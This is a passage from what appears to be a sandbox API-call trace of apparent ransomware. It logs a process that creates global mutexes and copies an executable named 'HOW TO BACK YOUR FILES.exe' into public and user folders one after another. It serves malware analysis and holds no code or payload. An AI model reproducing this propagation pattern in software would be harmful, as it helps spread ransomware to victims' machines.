cAlternateFileName="")) returned 0x529b10 [0100.768] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Public\\Libraries" | out: lpString1="C:\\Users\\Public\\Libraries") returned="C:\\Users\\Public\\Libraries" [0100.768] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0100.768] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Public\\Libraries\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\public\\libraries\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.769] CreateFileW (lpFileName="C:\\Users\\Public\\Libraries\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\public\\libraries\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0100.769] GetLastError () returned 0x0 [0100.769] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0100.769] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x541f90 [0100.769] ReadFile (in: hFile=0xf4, lpBuffer=0x541f90, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x541f90*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0100.770] CloseHandle (hObject=0xf4) returned 1 [0100.770] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x541f90 | out: hHeap=0x4f0000) returned 1 [0100.770] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0100.770] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Libraries\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc7ecfac0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc7ecfac0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529b50 [0100.770] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Public\\Music" | out: lpString1="C:\\Users\\Public\\Music") returned="C:\\Users\\Public\\Music" [0100.770] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0100.770] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Public\\Music\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\public\\music\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.771] CreateFileW (lpFileName="C:\\Users\\Public\\Music\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\public\\music\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0100.771] GetLastError () returned 0x0 [0100.771] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0100.771] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x541f90 [0100.771] ReadFile (in: hFile=0xf4, lpBuffer=0x541f90, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x541f90*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0100.772] CloseHandle (hObject=0xf4) returned 1 [0100.772] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x541f90 | out: hHeap=0x4f0000) returned 1 [0100.772] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0100.772] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Music\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc7ef5c20, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc7ef5c20, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529b50 [0100.772] lstrcatW (in: lpString1="Sample Music", lpString2="\\" | out: lpString1="Sample Music\\") returned="Sample Music\\" [0100.772] lstrcatW (in: lpString1="Sample Music\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Sample Music\\HOW TO BACK YOUR FILES.exe") returned="Sample Music\\HOW TO BACK YOUR FILES.exe" [0100.772] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Public\\Music\\Sample Music\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\public\\music\\sample music\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.773] FindNextFileW (in: hFindFile=0x529b50, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc7f1bd80, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc7f1bd80, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Sample Music", cAlternateFileName="SAMPLE~1")) returned 0 [0100.773] FindClose (in: hFindFile=0x529b50 | out: hFindFile=0x529b50) returned 1 [0100.773] ReleaseMutex (hMutex=0xec) returned 1 [0100.773] CloseHandle (hObject=0xec) returned 1 [0100.773] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Users\\Public\\Pictures" | out: lpString1="C:\\Users\\Public\\Pictures") returned="C:\\Users\\Public\\Pictures" [0100.773] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x529b90 | out: hHeap=0x4f0000) returned 1 [0100.773] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50b5a0 | out: hHeap=0x4f0000) returned 1 [0100.773] lstrlenW (lpString="C:\\Users\\Public\\Pictures") returned 24 [0100.773] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\FBF98D02DB7FF78666BB04203BCFB831") returned 0xec [0100.773] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0100.773] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Public\\Pictures" | out: lpString1="C:\\Users\\Public\\Pictures") returned="C:\\Users\\Public\\Pictures" [0100.773] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0100.773] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Public\\Pictures\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\public\\pictures\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.774] CreateFileW (lpFileName="C:\\Users\\Public\\Pictures\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\public\\pictures\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0100.774] GetLastError () returned 0x0 [0100.774] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0100.774] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x541f90 [0100.774] ReadFile (in: hFile=0xf4, lpBuffer=0x541f90, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x541f90*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0100.775] CloseHandle (hObject=0xf4) returned 1 [0100.775] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x541f90 | out: hHeap=0x4f0000) returned 1 [0100.775] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0100.775] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Pictures\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc7f41ee0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc7f41ee0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529b90 [0100.775] lstrcatW (in: lpString1="Sample Pictures", lpString2="\\" | out: lpString1="Sample Pictures\\") returned="Sample Pictures\\" [0100.775] lstrcatW (in: lpString1="Sample Pictures\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Sample Pictures\\HOW TO BACK YOUR FILES.exe") returned="Sample Pictures\\HOW TO BACK YOUR FILES.exe" [0100.775] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\public\\pictures\\sample pictures\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.775] FindNextFileW (in: hFindFile=0x529b90, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc7f41ee0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc7f41ee0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Sample Pictures", cAlternateFileName="SAMPLE~1")) returned 0 [0100.775] FindClose (in: hFindFile=0x529b90 | out: hFindFile=0x529b90) returned 1 [0100.775] ReleaseMutex (hMutex=0xec) returned 1 [0100.775] CloseHandle (hObject=0xec) returned 1 [0100.775] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Users\\Public\\Recorded TV" | out: lpString1="C:\\Users\\Public\\Recorded TV") returned="C:\\Users\\Public\\Recorded TV" [0100.776] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x529bd0 | out: hHeap=0x4f0000) returned 1 [0100.776] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50b5b8 | out: hHeap=0x4f0000) returned 1 [0100.776] lstrlenW (lpString="C:\\Users\\Public\\Recorded TV") returned 27 [0100.776] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\9DFFADCEF2971F881898BF0DA516AC4D") returned 0xec [0100.776] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0100.776] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Public\\Recorded TV" | out: lpString1="C:\\Users\\Public\\Recorded TV") returned="C:\\Users\\Public\\Recorded TV" [0100.776] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0100.776] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Public\\Recorded TV\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\public\\recorded tv\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.776] CreateFileW (lpFileName="C:\\Users\\Public\\Recorded TV\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\public\\recorded tv\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0100.776] GetLastError () returned 0x0 [0100.776] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0100.777] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x541f90 [0100.777] ReadFile (in: hFile=0xf4, lpBuffer=0x541f90, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x541f90*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0100.777] CloseHandle (hObject=0xf4) returned 1 [0100.777] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x541f90 | out: hHeap=0x4f0000) returned 1 [0100.777] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0100.777] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Recorded TV\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xc7f8e1a0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc7f8e1a0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0100.778] lstrcatW (in: lpString1="Sample Media", lpString2="\\" | out: lpString1="Sample Media\\") returned="Sample Media\\" [0100.778] lstrcatW (in: lpString1="Sample Media\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Sample Media\\HOW TO BACK YOUR FILES.exe") returned="Sample Media\\HOW TO BACK YOUR FILES.exe" [0100.778] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Public\\Recorded TV\\Sample Media\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\public\\recorded tv\\sample media\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.781] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xc7f8e1a0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc7f8e1a0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Sample Media", cAlternateFileName="SAMPLE~1")) returned 0 [0100.781] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0100.781] ReleaseMutex (hMutex=0xec) returned 1 [0100.782] CloseHandle (hObject=0xec) returned 1 [0100.782] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Users\\Public\\Videos" | out: lpString1="C:\\Users\\Public\\Videos") returned="C:\\Users\\Public\\Videos" [0100.782] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x51aa28 | out: hHeap=0x4f0000) returned 1 [0100.782] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50b5d0 | out: hHeap=0x4f0000) returned 1 [0100.782] lstrlenW (lpString="C:\\Users\\Public\\Videos") returned 22 [0100.782] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\B54A9461D9CD0B8A30CA18F3247A7542") returned 0xec [0100.782] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0100.782] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Public\\Videos" | out: lpString1="C:\\Users\\Public\\Videos") returned="C:\\Users\\Public\\Videos" [0100.782] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0100.782] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Public\\Videos\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\public\\videos\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.782] CreateFileW (lpFileName="C:\\Users\\Public\\Videos\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\public\\videos\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0100.783] GetLastError () returned 0x0 [0100.783] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0100.783] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x541f90 [0100.783] ReadFile (in: hFile=0xf4, lpBuffer=0x541f90, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x541f90*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0100.783] CloseHandle (hObject=0xf4) returned 1 [0100.784] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x541f90 | out: hHeap=0x4f0000) returned 1 [0100.784] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0100.784] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Videos\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc7fb4300, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc7fb4300, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0100.784] lstrcatW (in: lpString1="Sample Videos", lpString2="\\" | out: lpString1="Sample Videos\\") returned="Sample Videos\\" [0100.784] lstrcatW (in: lpString1="Sample Videos\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Sample Videos\\HOW TO BACK YOUR FILES.exe") returned="Sample Videos\\HOW TO BACK YOUR FILES.exe" [0100.784] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Public\\Videos\\Sample Videos\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\public\\videos\\sample videos\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.784] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc7fda460, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc7fda460, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Sample Videos", cAlternateFileName="SAMPLE~1")) returned 0 [0100.784] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0100.784] ReleaseMutex (hMutex=0xec) returned 1 [0100.784] CloseHandle (hObject=0xec) returned 1 [0100.784] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local" | out: lpString1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local") returned="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local" [0100.784] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5192b0 | out: hHeap=0x4f0000) returned 1 [0100.785] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x508ff0 | out: hHeap=0x4f0000) returned 1 [0100.785] lstrlenW (lpString="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local") returned 60 [0100.785] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\C51ABF3CACA285ACA043EED81F097EDA") returned 0xec [0100.785] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0100.785] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local" | out: lpString1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local") returned="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local" [0100.785] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0100.785] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.785] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0100.785] GetLastError () returned 0x0 [0100.786] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0100.786] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x541f90 [0100.786] ReadFile (in: hFile=0xf4, lpBuffer=0x541f90, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x541f90*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0100.786] CloseHandle (hObject=0xf4) returned 1 [0100.786] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x541f90 | out: hHeap=0x4f0000) returned 1 [0100.786] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0100.786] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc6219160, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc6219160, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0100.786] lstrcatW (in: lpString1="Adobe", lpString2="\\" | out: lpString1="Adobe\\") returned="Adobe\\" [0100.786] lstrcatW (in: lpString1="Adobe\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Adobe\\HOW TO BACK YOUR FILES.exe") returned="Adobe\\HOW TO BACK YOUR FILES.exe" [0100.786] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.787] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x2914fe20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1 [0100.787] lstrcatW (in: lpString1="Application Data", lpString2="\\" | out: lpString1="Application Data\\") returned="Application Data\\" [0100.787] lstrcatW (in: lpString1="Application Data\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Application Data\\HOW TO BACK YOUR FILES.exe") returned="Application Data\\HOW TO BACK YOUR FILES.exe" [0100.787] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.787] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xc61a6d40, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc61a6d40, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Apps", cAlternateFileName="")) returned 1 [0100.787] lstrcatW (in: lpString1="Apps", lpString2="\\" | out: lpString1="Apps\\") returned="Apps\\" [0100.787] lstrcatW (in: lpString1="Apps\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Apps\\HOW TO BACK YOUR FILES.exe") returned="Apps\\HOW TO BACK YOUR FILES.exe" [0100.787] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.788] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65e16800, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xc61a6d40, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc61a6d40, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Deployment", cAlternateFileName="DEPLOY~1")) returned 1 [0100.788] lstrcatW (in: lpString1="Deployment", lpString2="\\" | out: lpString1="Deployment\\") returned="Deployment\\" 